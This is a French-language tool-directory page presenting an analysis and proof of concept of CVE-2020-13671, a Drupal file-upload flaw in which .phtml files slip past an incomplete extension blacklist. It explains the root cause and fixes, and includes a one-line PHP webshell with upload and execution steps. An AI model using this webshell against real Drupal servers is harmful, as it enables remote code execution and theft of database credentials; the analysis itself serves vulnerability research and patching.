Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2020-13671-old — CVE-2020-13671 - Analyse de vulnérabilité et PoC de la RCE Drupal via téléversement de fichiers | Kitploit
Outils/GitHubGitHub/dungsocool/cve-2020-13671-old
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionDéveloppement de Charges Utiles
GitHubdungsocool/cve-2020-13671-old

CVE-2020-13671-old

CVE-2020-13671 - Analyse de vulnérabilité et PoC de la RCE Drupal via téléversement de fichiers

Voir le dépôt
il y a 3 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2020-13671

RCE via le téléversement de fichiers — Drupal Core

Logiciel : Drupal Core 8.7.5 (Affecté : 7.x < 7.78, 8.x < 8.8.11, 8.9.x < 8.9.9, 9.0.x < 9.0.8)
CVSS : 8.8 (Élevé)
CWE : CWE-434 — Téléversement sans restriction de fichiers de type dangereux
CISA KEV : Oui — Vulnérabilité connue exploitée
Avis : SA-CORE-2020-012


Qu'est-ce que Drupal

Drupal est un système de gestion de contenu (CMS) open source écrit en PHP, similaire à WordPress ou Joomla, mais plutôt orienté vers la construction de systèmes plus complexes — sites d'entreprise, plateformes multilingues. Drupal repose sur une architecture modulaire, permettant d'étendre les fonctionnalités en activant/désactivant les modules disponibles ou en installant des modules supplémentaires issus de la communauté.

L'une des fonctions de base de tout CMS est de permettre aux utilisateurs de téléverser des fichiers — avatars de profil, documents joints, pièces jointes dans les articles. Drupal enregistre ces fichiers dans le répertoire sites/default/files/ et les sert directement via le serveur web (Apache ou Nginx).

⇒ Cela crée une surface d'attaque évidente : si un attaquant parvient à téléverser un fichier PHP dans ce répertoire, le serveur web l'exécutera lorsqu'il sera accédé via une requête entrante.

Pour empêcher cela, Drupal met en place plusieurs couches de défense : validation des extensions de fichiers, renommage des fichiers dangereux, placement d'un pour bloquer l'exécution de scripts dans le répertoire de téléversement. Mais dans la version 8.7.5, les attaquants exploitent exactement l'angle mort de ces couches.

.htaccess

Conditions d'exploitation

Cette vulnérabilité nécessite un compte disposant des permissions de téléversement de fichiers. Par défaut dans Drupal 8.7.5, les utilisateurs réguliers (Authentifiés) n'ont que les permissions de voir le contenu et de poster des commentaires — aucune permission pour créer des articles ou téléverser des fichiers.

CompteExploitable ?Explication
AdminOuiPermissions de téléversement complètes
Éditeur / Créateur de contenuOuiSi la permission « Créer du contenu » est accordée avec téléversement par l'administrateur
Utilisateur authentifié (par défaut)NonPar défaut, aucune permission pour créer du contenu ou téléverser
Anonyme (non connecté)NonAucune permission de téléversement

Cependant, dans la pratique, de nombreux sites Drupal accordent les permissions de création de contenu aux utilisateurs réguliers (forums, blogs communautaires, sites d'actualité permettant la soumission d'articles). Dans ces cas, un attaquant n'a besoin que de créer un compte pour l'exploiter.

Déroulement de l'attaque :

root@kitploit:~
Attacker with upload-privileged account → Create article (Article)
→ Upload webshell.phtml via Image/File attachment field
→ Drupal saves the file with its original name into sites/default/files/
→ Attacker accesses the file URL → Apache executes PHP → RCE

Cause racine ( ROOT CAUSE )

Dans le fichier core/modules/file/file.module, il existe une seule expression régulière qui détermine quels fichiers sont considérés comme exécutables :

root@kitploit:~
define('FILE_INSECURE_EXTENSION_REGEX', '/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i');

image.png

Cette expression régulière liste 7 extensions : phar, php, pl, py, cgi, asp, js. Tout fichier dont l'extension correspond à cette liste sera automatiquement complété avec .txt par Drupal — neutralisant ainsi la capacité d'exécution.

Cependant, le moteur PHP ne traite pas uniquement les fichiers .php. Selon la configuration du serveur web, il reconnaît et exécute également d'autres extensions :

ExtensionSignificationIncluse dans la regex ?
.phpPHP standardOui
.phtmlModèle alternatif PHPNon
.php5Gestionnaire PHP 5Non
.phtModèle PHPNon
.phpsSource PHPNon
.shtmlInclusions côté serveurNon

5 variantes d'extensions PHP sont totalement absentes de l'expression régulière. Cela signifie qu'un fichier nommé shell.phtml envoyé à Drupal → l'expression régulière ne correspond pas → pas de renommage → enregistré sous son nom d'origine dans le répertoire de téléversement → le serveur web voit .phtml → l'exécute comme PHP → l'attaquant obtient une RCE. C'est la cause racine : Drupal a utilisé une liste noire pour bloquer les extensions dangereuses, mais cette liste était incomplète.

Analyse de chaque couche de défense

Lorsqu'un utilisateur téléverse un fichier, Drupal le fait passer à travers 3 fonctions de validation avant de l'enregistrer. Voici une analyse de la raison pour laquelle ces 3 fonctions échouent avec .phtml.

Couche 1 — file_munge_filename() (core/includes/file.inc)

Objectif : détecter les extensions dangereuses situées au milieu du nom de fichier et ajouter _ pour les neutraliser. Voici comment la fonction fonctionne :

image.png

root@kitploit:~
$filename_parts = explode('.', $filename);    // split filename by "."
$new_filename = array_shift($filename_parts); // get the first part = original name
$final_extension = array_pop($filename_parts); // get the last part = final extension

foreach ($filename_parts as $filename_part) {
    // iterate over the MIDDLE parts
    // if any part looks like a dangerous extension → append "_"
}
return $new_filename . '.' . $final_extension;

Par exemple avec shell.phtml :

  • explode divise en ["shell", "phtml"]
  • shift prend "shell", laissant ["phtml"]
  • pop prend "phtml", laissant []
  • Le tableau du milieu est vide → foreach ne s'exécute pas
  • Renvoie "shell.phtml" intact

Cependant, si le fichier n'a qu'une seule extension, cette fonction n'intervient pas. Ainsi, elle n'est conçue que pour gérer les fichiers à extensions multiples.

Couche 2 — FILE_INSECURE_EXTENSION_REGEX (file.module:1015)

C'est la principale couche de défense. Code à la ligne 1015 :

image.png

root@kitploit:~
if (!\Drupal::config('system.file')->get('allow_insecure_uploads')
    && preg_match(FILE_INSECURE_EXTENSION_REGEX, $file->getFilename())
    && (substr($file->getFilename(), -4) != '.txt')) {
    $file->setMimeType('text/plain');
    $file->setFilename($file->getFilename() . '.txt');
}

Si le nom de fichier correspond à l'expression régulière → changer le MIME en text/plain et ajouter .txt à la fin.

Avec shell.phtml :

  • preg_match('/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i', 'shell.phtml') renvoie 0
  • Aucune correspondance → n'entre pas dans le bloc if → le fichier conserve son nom d'origine Ainsi, cette section aurait dû bloquer les fichiers dangereux, mais parce que l'expression régulière ne sait pas que .phtml est dangereux, elle passe à travers.

Couche 3 — .htaccess dans le répertoire de téléversement

Drupal place un fichier .htaccess dans sites/default/files/ :

root@kitploit:~
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
<Files *>
  SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003
</Files>

<IfModule mod_php5.c>
  php_flag engine off
</IfModule>

La directive php_flag engine off désactive le moteur PHP pour tout le répertoire, mais elle ne s'applique qu'à mod_php5. Drupal 8.7.5 fonctionne sur PHP 7, ce qui signifie que mod_php7 est actif et n'est pas désactivé.

Et .htaccess présente également 3 autres faiblesses :

  • Nginx ne lit pas .htaccess — ce fichier est totalement inefficace sur Nginx
  • Apache configuré avec AllowOverride None → .htaccess est ignoré
  • Les serveurs utilisant PHP-FPM au lieu de mod_php → la directive php_flag n'a aucun effet

Exploitation

Étape 1 — Créer un webshell

root@kitploit:~
echo '<?php echo shell_exec($_GET["cmd"]); ?>' > webshell.phtml

Étape 2 — Téléverser le fichier

Connectez-vous à Drupal avec un compte disposant des permissions de téléversement → Contenu → Ajouter du contenu → Article → dans le champ Image, sélectionnez le fichier webshell.phtml → Téléverser.

Drupal accepte le fichier, ne le renomme pas et l'enregistre sous son nom d'origine dans sites/default/files/.

image.png

Étape 3 — Exécuter le webshell

Ensuite, exécutez l'appel shell avec whoami :

image.png

Ainsi, nous avons réussi à obtenir une RCE en tant que www-data.

Test supplémentaire pour afficher les identifiants :

image.png

Résultat

L'attaquant peut lire settings.php contenant les identifiants de la base de données, extraire l'intégralité de la base, installer un reverse shell ou élever ses privilèges jusqu'à root.

Remédiation

Mettre à jour l'expression régulière — ajouter les 5 extensions manquantes :

root@kitploit:~
// Before:
'/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i'

// After:
'/\.(phar|php|pl|py|cgi|asp|js|phtml|php5|pht|phps|shtml)(\.|$)/i'

Mettre à jour .htaccess — ajouter la désactivation pour mod_php7 :

root@kitploit:~
<IfModule mod_php7.c>
  php_flag engine off
</IfModule>

Le correctif fonctionne mais repose toujours sur une liste noire. Si de nouvelles extensions apparaissent à l'avenir (.php8, .phpt), l'expression régulière devra être mise à jour à nouveau. La liste blanche — n'autorisant que les extensions connues comme sûres — serait une approche plus complète.

Résumé

Fichier vulnérablecore/modules/file/file.module ligne 28
Cause racineLa liste noire de l'expression régulière ne contient pas .phtml, .php5, .pht, .phps, .shtml
ImpactTéléverser .phtml → le serveur exécute → RCE
3 couches de défense contournéesfile_munge_filename() → FILE_INSECURE_EXTENSION_REGEX → .htaccess
CorrectifAjouter 5 extensions à l'expression régulière + désactiver mod_php7 dans .htaccess
Télécharger l’outil